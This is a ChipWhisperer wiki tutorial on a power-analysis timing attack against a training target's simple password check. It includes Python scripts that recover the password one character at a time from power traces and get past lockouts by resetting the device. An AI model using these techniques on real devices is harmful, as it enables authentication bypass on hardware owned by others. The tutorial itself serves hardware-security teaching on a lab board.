Changes

Created page with "{{Warningbox|This tutorial has been updated for ChipWhisperer 4.0.0 release. If you are using 3.x.x see the "V3" link in the sidebar.}} {{Infobox tutorial |name..."
{{Warningbox|This tutorial has been updated for ChipWhisperer 4.0.0 release. If you are using 3.x.x see the "V3" link in the sidebar.}}

{{Infobox tutorial
|name = B3-1 Timing Analysis with Power for Password Bypass
|image =
|caption =
|software versions =
|capture hardware = CW-Lite, CW-Lite 2-Part, CW-Pro
|Target Device =
|Target Architecture = XMEGA/Arm
|Hardware Crypto = No
|Purchase Hardware =
}}


This tutorial will introduce you to breaking devices by determining when a device is performing certain operations. It will use a simple password check, and demonstrate how to perform a basic power analysis.

In addition this example shows you how to drive the ChipWhisperer software with a script, rather than using the GUI. This will be required when attacking new devices which you have not yet added to the core ChipWhisperer software.

Note this is not a prerequisite to the tutorial on breaking AES. You can skip this tutorial if you wish to go ahead with the AES tutorial.

If you want to get a rough idea, there is a video of the V3 of the tutorial (which differs from the V4 version). See [https://www.youtube.com/watch?v=h4eAU6vEONs&hd=1 Video Version on YouTube]:

== Prerequisites ==

You should have already completed [[Tutorial B2 Viewing Instruction Power Differences]] to gain a better understanding of the ChipWhisperer interface.

== Building the Target Firmware ==

The firmware we'll be using for this tutorial is <code>basic-passwdcheck</code>.
{{CollapsibleSection
|intro = === Building for CWLite with XMEGA Target ===
|content= Building for XMEGA}}

{{CollapsibleSection
|intro = === Building for CWLite with Arm Target ===
|content= Building for Arm}}

{{CollapsibleSection
|intro = === Building for Other Targets ===
|content= Building for Other Targets}}

== Hardware Setup ==
{{CollapsibleSection
|intro = === CW1173 (Lite) Hardware Setup ===
|content= CWLite HW Setup}}

{{CollapsibleSection
|intro = === CW1200 (Pro) Hardware Setup ===
|content= CW1200 HW Setup}}

{{CollapsibleSection
|intro = === CW308 (UFO) Hardware Setup ===
|content= CW308 HW Setup}}

== Programming the Target ==
{{CollapsibleSection
|intro = === Programming the XMEGA Target ===
|content= Programming XMEGA}}

{{CollapsibleSection
|intro = === Programming the STM32F3 (CW303 Arm) Target ===
|content= Programming Arm}}

{{CollapsibleSection
|intro = === Programming Other Targets ===
|content= Programming Other}}

== Manual Communications with the Target ==

Assuming you have ChipWhisperer-Capture setup when you programmed the target (if not, run ''connect_cwlite_simpleserial.py'' and the ''setup_*.py'' script relevant to your target), you can continue by selecting ''Tools --> Terminal'', and pressing ''Connect''. You should see a window such as this:<p>[[File:Termconn.png|image]]</p>At this point we need to reset the target device. The easiest way to do this is use the programmer interface, and press the ''Check Signature'' or ''Read Signature'' button. If your target doesn't have a programmer in ChipWhisperer Capture, you can manually toggle the reset pin. This is typically the ''nrst'' pin. This will reset the target device as part of the signature read operation. You should see some messages come across the terminal emulator window:<p>[[File:Checksig_print.png|image]]</p>'''Note a few warnings about the terminal emulator:'''
* The on-board buffer is fairly small, and can be easily overflowed. You may notice a few longer lines become trunicated if printing is too fast!
* You can uncheck the &quot;Show non-ASCII as hex&quot; to avoid having the <code>0a</code> printed in red. The <code>0a</code> is the hex character for a newline. Many protocols use non-ASCII characters, so to help with debugging it is left enabled by default. We've now got some super-secure system! Let's begin with some exploratory tests - in this case I happened to know the correct password is <code>h0px3</code>.<p>'''tip'''</p> <p>In real systems, you may often know ''one'' of the passwords, which is sufficient to investigate the password checking routines as we will do. You also normally have an ability to reset passwords to default. While the reset procedure would erase any data you care about, the attacker will be able to use this 'sacrificial' device to learn about possible vulnerabilites. So the assumption that we have access to the password is really just saying we have access to ''a'' password, and will use that knowledge to break the system in general.</p>
<p>Using the terminal emulator, write the correct password in, and press <code>&lt;enter&gt;</code>. You should be greeted by a welcome message, and if using the CW-Lite XMEGA target the green LED will illuminate:</p>
<p>[[File:Passok.png|image]]</p>The system enters an infinite loop for any password entry. Thus you must reset the system, use the ''Programmer Window'' to again perform a ''Check Signature'' or ''Read Signature'' operation.

Enter an incorrect password - notice a different message is printed, and if using the CW-Lite XMEGA target the red LED will come on.

== Recording Power Traces ==
Now that we can communicate with our super-secure system, our next goal is to get a power trace while the target is running. To do this, we'll get the power measurements to trigger after we send our password to the target.

<ol style="list-style-type: decimal;">
<li><p>We'll make some changes to the trigger setup of the ChipWhisperer (on the ''Scope Settings'' tab). In particular, ensure you set the following:</p>
<blockquote><ul>
<li>Offset = 0</li>
<li>Timeout set to 5 seconds or greater (to give yourself time when manually testing)</li></ul>

<p>[[File:Timeout_offset.png|image]]</p></blockquote></li>
<li><p>Change to the ''Target Settings'' tab, and delete the ''Command'' strings. Those strings are used in the AES attack to send a specific command to the target device. For now we will be manually sending data:</p>
<blockquote><p>[[File:Text_targetsettings.png|image]]</p></blockquote></li>
<li>Still in the ''Target Settings'' tab, under ''Protocol Version'', change ''Version'' from ''Auto'' to ''1.0''
<li><p>Perform the following actions:</p>
<blockquote><ol style="list-style-type: lower-roman;">
<li>Reset the target device (e.g. by performing the signature check).</li>
<li>Enter the password <code>h0px3</code> in the terminal window, but ''do not'' yet hit enter.</li>
<li>Press the ''Capture 1'' button, and immediately switch to the terminal emulator window and press <code>&lt;enter&gt;</code> to send the password.</li></ol>
</blockquote>
<p>You must send the password before the timeout occurs -- you can increase the length of the timeout if needed to give yourself more time! If this works you should see the power consumption displayed in the GUI:</p>
<blockquote><p>[[File:Trace_manual_pass.png|image]]</p></blockquote></li>

<li><p>Rather than using the manual terminal, let's now use the GUI to automatically send a password try. Switching back to the ''Target Settings'' tab, write <code>h0px3\n</code> into the ''Go Command'' option:</p>
<blockquote><p>[[File:Gocorrect.png|image]]</p></blockquote>
<p>The ''Go Command'' is sent right after the scope is armed. In this example it means we can capture the power consumption during the password entry phase.</p></li>
<li><p>Now perform the following actions:</p>
<blockquote><ol style="list-style-type: lower-roman;">
<li>Reset the target device (e.g. by performing the signature check).</li>
<li>Press the ''Capture 1'' button.</li></ol>
</blockquote>
<p>Hopefully this resulted in the same waveform as before! Note the device takes around 1 second to 'boot', so if you are too lightning fast after resetting the device it won't actually be ready to accept the password. You can keep the terminal emulator window open to view the output data.</p></li>
<li><p>Play around with the password entered on the ''Go Command'' - try all of the following:</p>
<ul>
<li><code>h0px3\n</code></li>
<li><code>h0px4\n</code></li>
<li><code>h0paa\n</code></li>
<li><code>haaaa\n</code></li>
<li><code>a\n</code></li></ul>

<p>You should notice a distinct change in the password depending how many characters were correct. For example the following shows the difference between passwords of <code>h0px4</code> (which has 4 correct characters) and <code>h0paa</code> (which has 3 correct characters). For example, on an XMEGA target:</p>
<blockquote><p>[[File:3vs4.png|image]]</p></blockquote></li></ol>

== Automatic Resets ==
The last step before scripting an entire attack is to figure out how to automatically reset the target device before (or after) each capture. There are two ways to do this, and the following steps take you through two examples of how to accomplish this goal.

BOTH of these methods use the "Auxilary Modules". See the page [[Auxiliary modules]] for more details.

Auxiliary modules are small pieces of code that can perform some extra functions during the capture process. The functions inside these Python modules are run before a capture, before the power measurement is armed, before the measurement is triggered, after a single trace is completed, and after an entire capture is finished. We will use an existing auxiliary module to reset the target chip before arming the measurement so that we don't have to manually reset the device.

=== Reset via Spare IO Lines ===

TODO - see reset via programming interface for now

=== Reset via Auxiliary Module ===

<ol style="list-style-type: decimal;">
<li> Scroll down the list of scripts, and you'll find one labeled "aux_reset_cw1173.py". If you're not using the XMEGA target, you'll need to edit the script to use the ''nrst'' pin instead of <u>''pdic''</u>:
<br>
[[File:auxreset_test1.png|600px]]
</li>
<li>Hit the "Run" button. If you switch to the "Auxilary Module" tab, you'll see it's been added to the list of modules at the specified location.:
<br>
[[File:auxreset_test2.png|400px]]
</li>
<li>Looking at the code of the script, you can see how this script is using an external module & linking it to a specific auxilary module trigger:
<syntaxhighlight lang=python>
from chipwhisperer.capture.auxiliary.ResetCW1173Read import ResetCW1173

# GUI compatibility
try:
aux_list = self.aux_list
except NameError:
pass

# Delay between arming and resetting, in ms
delay_ms = 1000

# Reset XMEGA device
Resetter = ResetCW1173(pin='pdic', delay_ms=delay_ms)
# Reset STM32Fx device
#Resetter = ResetCW1173(pin='nrst', delay_ms=delay_ms)
# Reset AVR
#Resetter = ResetCW1173(pin='nrst', delay_ms=delay_ms)

# Reset before arming
# avoids possibility of false triggers
# need delay in target firmware to avoid race condition
aux_list.register(Resetter.resetThenDelay, "before_trace")

# Reset after arming
# scope can catch entire reset
# avoids race condition
# target reset can cause false triggers (usually not an issue)
#aux_list.register(Resetter.delayThenReset, "after_arm")

</syntaxhighlight>
{{Greenbox|Make sure to uncomment the correct reset line (shown in the example above) and comment out the other one using a #}}
<li>You can edit the values required such as reset time & location by changing the script (using an external editor). But an easier method is to insert it into our attack script itself. As a test we'll see if the default values work.</li>
<li> Press ''Capture 1''. The target will automatically reset, with the Safe-o-matic 3000 boot sequence appearing in the console. Then, 1 second later, the program will send the password to the target and record a power trace.
</li>
</ol>

Now, confirm that you can try different passwords (in ''Target Settings'') and see how the power trace changes when your password has 0, 1, 2... correct characters.

Once done, use the *Remove* button to get rid of the auxiliary module, as we are going to add it instead to our script.

== Performing the Timing Attack ==
So far, we've set up our ChipWhisperer to automatically reset the target, send it a password attempt of our choice, and record a power trace while the target processes the password. Now, we'll write a Python script to automatically try different passwords and use these power traces to discover the password stored on the target.

If you're comfortable with python scripting, you may want to use a standalone script utilizing ChipWhisperer's python module. See [[Making Scripts]] for examples on recording and interacting with traces.

=== Scripting the Setup ===
Our first step will be to write a script that automatically sets up the ChipWhisperer Capture software with all of the settings we've tested above. We'll do this by modifying an existing script with our own settings.

<ol style="list-style-type: decimal;">
<li>Make a copy of an existing ChipWhisperer script. The example scripts are located at <code>chipwhisperer\software\chipwhisperer\capture\scripts</code>; for example, the default one for the XMEGA device is called <code>setup_cwlite_xmega.py</code>. Make a copy of this script in the same directory (or copy it somewhere else
</li>
<li><p>Rename the script something else - for example, <code>cwlite-passwordcrack.py</code> - and open it for editing. You'll notice that a large chunk of the code is used to set configuration information:</p>
<pre>
scope.gain.gain = 45
scope.adc.samples = 25000
scope.adc.offset = 0
scope.adc.basic_mode = "rising_edge"
scope.clock.clkgen_freq = 7370000
scope.clock.adc_src = "clkgen_x4"
scope.trigger.triggers = "tio4"
scope.io.tio1 = "serial_rx"
scope.io.tio2 = "serial_tx"
scope.io.hs2 = "clkgen"
</pre>

<p>Those parameters come from the API. You can print for example the scope parameters by running "self.scope" to see various elements:</p><pre>
>>> self.scope
cwlite Device
gain =
mode = low
gain = 45
db = 22.50390625
adc =
state = False
basic_mode = rising_edge
timeout = 2
offset = 0
presamples = 0
samples = 25000
decimate = 1
trig_count = 3084728877
clock =
adc_src = clkgen_x4
adc_phase = 0
adc_freq = 29538459
adc_rate = 29538459
adc_locked = True
freq_ctr = 0
freq_ctr_src = extclk
clkgen_src = system
extclk_freq = 10000000
clkgen_mul = 2
clkgen_div = 26
clkgen_freq = 7384615
clkgen_locked = True
trigger =
triggers = tio4
module = basic
io =
tio1 = serial_rx
tio2 = serial_tx
tio3 = high_z
tio4 = high_z
pdid = high_z
pdic = high_z
nrst = high_z
glitch_hp = 0
glitch_lp = 0
extclk_src = hs1
hs2 = clkgen
target_pwr = True
glitch =
clk_src = target
width = 10.15625
width_fine = 0
offset = 10.15625
offset_fine = 0
trigger_src = manual
arm_timing = after_scope
ext_offset = 0
repeat = 1
output = clock_xor
</pre></li>
</ol>


<ol start="4" style="list-style-type: decimal;">
<li><p>Next, append the required commands to clear the simpleserial commands and to enable the automatic resets. Doing so will require two steps: (1) figuring out the target settings and adjusting them, and (2) inserting our code to perform the device reset.</p>
<p>
Using the console, you can dump parameters of the simpleserial target (assuming you are still connected):
<syntaxhighlight lang=python>
>>> target
init_cmd =
key_cmd = k$KEY$\n
input_cmd =
go_cmd = p$TEXT$\n
output_cmd = r$RESPONSE$\n
baud = 38400
protver =
</syntaxhighlight>
</p>
</li>

<li>You should be able to see how you can simply clear all of the above settings using the script. This would mean adding some lines as follows to the script:
<syntaxhighlight lang=python>
target.key_cmd = ''
target.go_cmd = ''
target.output_cmd = ''
</syntaxhighlight>
</li>

<li>Remembering the auxilary module, you can also add the lines to perform this task as well to your script:
<syntaxhighlight lang=python>
from chipwhisperer.capture.auxiliary.ResetCW1173Read import ResetCW1173
Resetter = ResetCW1173(xmega=True, delay_ms=1200)
aux_list.register(Resetter.resetThenDelay, "before_trace")
</syntaxhighlight>
</li>

<li><p>We will need to set the password guess so we can observe different traces. You can enter the password in the Capture ''Target Settings'' tab, or simply use a command like <code>target.go_cmd = 'h0p3\n'</code>.</p></li>
<li>Finally, run the script you made. It should load all settings & on hitting capture-1 you will get a waveform related to the power measurement during the comparison.</li>
</ol>

=== Running a Single Capture ===
With our settings prepared, the next step is to use our script to record and analyze a power trace. We need to be able to get the trace data into our Python script so we can analyze it for the timing attack. [[Making Scripts]] is a great resource for learning how to make scripts running ChipWhisperer.

The API allows us to ''press the Capture 1'' button and ''view the power trace'' without using the GUI. There are two relevant commands here. First, we'll need to import ChipWhisperer:

* <code>import chipwhisperer as cw</code>

Then, we can build our own "capture controller". This controller deals with talking to the scope and target for you. To capture a single trace you could perform the following steps:

<syntaxhighlight lang=python>
# Test one capture
cw.captureN(self.scope, self.target, None, self.aux_list, self.ktp, 1)
trace = scope.getLastTrace()
</syntaxhighlight>

We want to test these two commands. After the setup portion of your script, add some code similar to the following:
<syntaxhighlight lang=python>
#Put this at beginning of script
import chipwhisperer as cw

#Put this later on after setup happens
cw.captureN(self.scope, self.target, None, self.aux_list, self.ktp, 1)
trace = scope.getLastTrace()
print trace
</syntaxhighlight>

Run your script. The ChipWhisperer should automatically capture one trace and print out some datapoints.

=== Attacking a Single Letter ===
Now that we can record one power trace, we can start the timing attack. Our goal here is to automatically find the first letter of the Super Secret (tm) password.

<p>Look at this example of the power traces when 0 and 1 bytes are correct. We can see a clear point that appears to shift forward (what this point will be and how far it will shift will depend on your target) in time:</p>
<blockquote><p>[[File:Passwordcrackerpts.png|image]]</p></blockquote>
<p>When we guess the first byte incorrectly, there is a distinct power spike at sample number 153. However, when we guess correctly, the target spends more time processing the password, and this spike moves 72 samples forward. This means that we can check if our first byte is correct by checking this data point: if we're right, it will have an amplitude greater than -0.2. Note the specific point will change for different hardware, and may also change if you use different versions of your compiler to compile the target code. The example code here was compiled with WinAVR 20100110, which has avr-gcc 4.3.3. If you view the video version of this tutorial the point numbers are different for example, so be sure to check what they are for your specific system.</p>

Add a loop to your script that does the following:
* Sets the ''Go Command'' to the next character we want to try
* Captures a power trace
* Checks if sample 153 is above -0.2 (fill in the appropriate numbers here)
* Repeats for all characters we want to try
An example of this loop is:

<syntaxhighlight lang=python>
trylist = 'abcdefghijklmnopqrstuvwxyz0123456789'


for c in trylist:
# Get a power trace using our next attempt
nextPass = password + '{}'.format(c) + "\n"
target.go_cmd = nextPass
cw.captureN(self.scope, self.target, None, self.aux_list, self.ktp, 1)

# Grab the trace and check data[153]
nextTrace = scope.getLastTrace()
if nextTrace[153] > -0.2:
print "Success: " + c
</syntaxhighlight>
This script will eventually stop, but you can use Ctrl+C on the command line to kill it. Make sure your script prints "Success: h"!

=== Attacking the Full Password ===
The last step is to attack the entire password, one letter at a time. The procedure to do this is:
* Start with a blank password string
* Loop through all of the characters we want to try:
** Add the next character to the end of the password
** Test this new candidate password using code similar to the above
** If the new password is correct up to character (1, 2, ..., 5), add it to the end of the password
* Repeat until we've cracked all 5 characters.

Note that the point of interest is no longer at sample 153. We noticed earlier that this key point moves 72 samples forward for every correct character, so we'll have to check location <code>153</code> for character 0, <code>153 + 72</code> for character 1, and <code>153 + i*72</code> for character <code>i</code>.

An example of this loop is:
<syntaxhighlight lang=python>
# Crack the first letter
password = ''
trylist = 'abcdefghijklmnopqrstuvwxyz0123456789'

for i in range(5):
for c in trylist:
# Get a power trace using our next attempt
nextPass = password + '{}'.format(c) + "\n"
target.go_cmd = nextPass
cw.captureN(self.scope, self.target, None, self.aux_list, self.ktp, 1)

# Grab the trace
nextTrace = scope.getLastTrace()

# Check location 153, 225, etc. If it's too low, we've failed
if nextTrace[153 + 72*i] < -0.2:
continue

# If we got here, we've found the right letter
password += c
print '{} characters: {}'.format(i+1, password)
break
</syntaxhighlight>
After some time, this prints <code>5 characters: h0px3</code> -- it automatically finds the correct password.

That's it! You should have successfully cracked a password using the timing attack. Some notes on this method:

* The target device has a finite start-up time, which slows down the attack. If you wish, remove some of the printf()'s from the target code, recompile and reprogram, and see how quickly you can do this attack.
* The current script doesn't look for the &quot;WELCOME&quot; message when the password is OK. That is an extension that allows it to crack any size password.
* If there was a lock-out on a wrong password, the system would ignore it, as it resets the target after every attempt.

== Conclusion ==

This tutorial has demonstrated the use of the power side-channel for performing timing attacks. A target with a simple password-based security system is broken. In addition you have learned about the scripting support in the ChipWhisperer-Capture software.

== Appendix: Completed Timing Attack Script ==
The complete tutorial might look like this:
<syntaxhighlight lang=python>
"""This script is an example of a timing attack on a simple password checker.
It is the result of Tutorial B3-1 from the ChipWhisperer Wiki.
"""

import chipwhisperer as cw
from chipwhisperer.capture.auxiliary.ResetCW1173Read import ResetCW1173

# GUI compatibility
try:
scope = self.scope
target = self.target
aux_list = self.aux_list
except NameError:
pass

# Set up scope
scope.gain.gain = 45
scope.adc.samples = 2000
scope.adc.offset = 0
scope.adc.basic_mode = "rising_edge"
scope.clock.clkgen_freq = 7370000
scope.clock.adc_src = "clkgen_x4"
scope.trigger.triggers = "tio4"
scope.io.tio1 = "serial_rx"
scope.io.tio2 = "serial_tx"
scope.io.hs2 = "clkgen"

# Set up target
target.key_cmd = ""
target.go_cmd = "h0px3\n"
target.output_cmd = ""

# Set up aux module to reset target before capture
resetter = ResetCW1173(xmega=True, delay_ms=1200)
aux_list.register(resetter.resetThenDelay, "before_trace")

# Test one capture
cw.captureN(self.scope, self.target, None, self.aux_list, self.ktp, 1)
trace = scope.getLastTrace()
print trace

# Crack the first letter
password = ''
trylist = 'abcdefghijklmnopqrstuvwxyz0123456789'

for i in range(5):
for c in trylist:
# Get a power trace using our next attempt
nextPass = password + '{}'.format(c) + "\n"
target.go_cmd = nextPass
cw.captureN(self.scope, self.target, None, self.aux_list, self.ktp, 1)

# Grab the trace
nextTrace = scope.getLastTrace()

# Check location 153, 225, etc. If it's too low, we've failed
if nextTrace[153 + 72*i] < -0.2:
continue

# If we got here, we've found the right letter
password += c
print '{} characters: {}'.format(i+1, password)
break
</syntaxhighlight>

== Links ==

{{Template:Tutorials}}
[[Category:Tutorials]]
Approved_users, administrator
366
edits